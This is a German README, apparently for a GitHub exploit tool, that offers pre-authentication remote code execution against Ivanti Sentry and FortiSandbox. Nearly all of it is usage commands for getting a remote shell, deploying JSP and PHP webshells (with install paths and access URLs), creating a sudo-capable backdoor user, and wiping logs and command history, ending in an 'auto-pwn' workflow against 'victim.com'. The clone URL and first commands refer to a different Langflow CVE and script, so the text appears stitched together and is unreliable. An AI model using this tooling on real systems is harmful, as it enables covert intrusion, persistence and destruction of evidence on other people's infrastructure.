
Multi-CVE-Exploit-Tool für Pre-Auth Remote Code Execution auf Ivanti Sentry und FortiSandbox. Bietet interaktive Shell, Webshell-Bereitstellung, Erstellung von Backdoor-Benutzern und Log-Reinigung für Penetrationstests.
git clone https://github.com/Layer-6/CVE-2026-5027-Langflow.git
cd CVE-2026-5027-Langflow
python3 exploit.py -u https://target.com
python3 exploit.py -u https://target.com --shell
(📁shells/my-shell.php)
python3 exploit.py -u https://target.com --shell my-shell.php
python3 exploit.py -u https://target.com | -t 58 | |-p payloads.txt | | --upload-paths Dirs.txt |
python3 exploit.py -u https://target.com --shell shells/myshell.php -t 58 -p payloads.txt --upload-paths dirs.txt
· CVE-2026-25089 (CVSS 9.1)
Keine Anmeldedaten erforderlich.
python3 exploitt.py
# Prüfen, ob anfällig
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -c "id"
# Interaktive Shell
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -s
# JSP-Webshell bereitstellen (Tomcat)
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -w
# Hintertür-Benutzer erstellen + Logs säubern
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -p --clean
# Einzelner Befehl
python3 exploitt.py -u https://forti.example.com --type forti -c "whoami"
# Interaktive Shell mit Datei-Upload
python3 exploitt.py -u https://forti.example.com --type forti -s
# Innerhalb der Shell: upload /path/local.txt /remote/path.txt
# PHP-Webshell bereitstellen
python3 exploitt.py -u https://forti.example.com --type forti -w
# Vollautomatischer Auto‑Pwn (Prüfen, Shell, Webshell, Persistenz, Säubern)
python3 exploitt.py -u https://forti.example.com --type forti -s -w -p --clean
python3 exploitt.py -u https://target.example.com -c "id"
python3 exploitt.py -u https://target:8443 --proxy http://127.0.0.1:8080 --debug -c "uname -a"
Verfügbare Kommandozeilenargumente
Argument Beschreibung -u, --url Ziel-URL (z. B. https://192.168.1.100:8443) --type Dienst erzwingen: ivanti oder forti (optional, Auto-Erkennung) -t, --timeout Timeout für Anfragen in Sekunden (Standard 30) --proxy HTTP/HTTPS-Proxy (z. B. http://127.0.0.1:8080) -d, --debug Debug-Ausgabe aktivieren --ua Benutzerdefinierter User-Agent-String -c, --cmd Einzelnen Befehl ausführen und beenden -s, --shell Interaktive Shell starten -w, --webshell Webshell bereitstellen (PHP für Forti, JSP für Ivanti) -p, --persist Persönlichen sudo-fähigen Hintertür-Benutzer erstellen --clean Logs und Befehlsverlauf nach Ausnutzung löschen
Befehle in der interaktiven Shell
Innerhalb der interaktiven Shell können Sie Folgendes verwenden:
Befehl Beispiel Beschreibung normaler Befehl id Beliebiges Systemkommando ausführen upload upload exploit.sh /tmp/backdoor.sh Lokale Datei auf entfernten Host hochladen exit exit Shell beenden
Details zur Webshell-Bereitstellung
· Ivanti Sentry – stellt eine .jsp-Shell in Tomcat webapps bereit (/usr/local/tomcat/webapps/ROOT/) · Zugriff über https://target/shell_random.jsp?cmd=whoami · FortiSandbox – stellt eine .php-Shell im Web-Root bereit (/var/www/html/) · Zugriff über https://target/shell_random.php?cmd=whoami
Beispiel-Workflow (vollständiger Penetrationstest)
# 1. Erkennen und Ausnutzen
python3 exploitt.py -u https://victim.com:8443 --type ivanti -s
# 2. Innerhalb der Shell: Rechte prüfen
id
# 3. Webshell für Persistenz bereitstellen
python3 exploitt.py -u https://victim.com:8443 --type ivanti -w
# 4. Hintertür-Benutzer erstellen
python3 exploitt.py -u https://victim.com:8443 --type ivanti -p
# 5. Logs säubern
python3 exploitt.py -u https://victim.com:8443 --type ivanti --clean